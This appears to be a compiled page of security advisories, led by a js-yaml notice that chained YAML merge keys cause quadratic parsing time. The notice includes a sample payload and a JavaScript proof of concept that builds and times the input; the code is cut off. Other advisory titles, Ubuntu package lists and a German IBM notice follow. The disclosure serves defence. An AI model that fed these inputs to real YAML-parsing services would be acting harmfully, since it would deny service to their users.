js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Affected: npm: js-yaml

### Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ```

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) }

lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now() const result = load(source, { schema: YAML11_…

dotnet: .NET: Local file tampering via link following vulnerability dotnet: ASP.NET Core: Denial of Service via uncontrolled resource consumption ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` engine.io: Engine.IO: Denial of Service via crafted WebTransport session ID js-yaml: js-yaml: Denial of Service via quadratic CPU time parsing with merge keys js-yaml: js-yaml: Denial of Service via crafted YAML ordered-map document

Affected: Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:25.10: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, vertrauliche Informationen offenzulegen oder Denial-of-Service-Zustände herbeizuführen.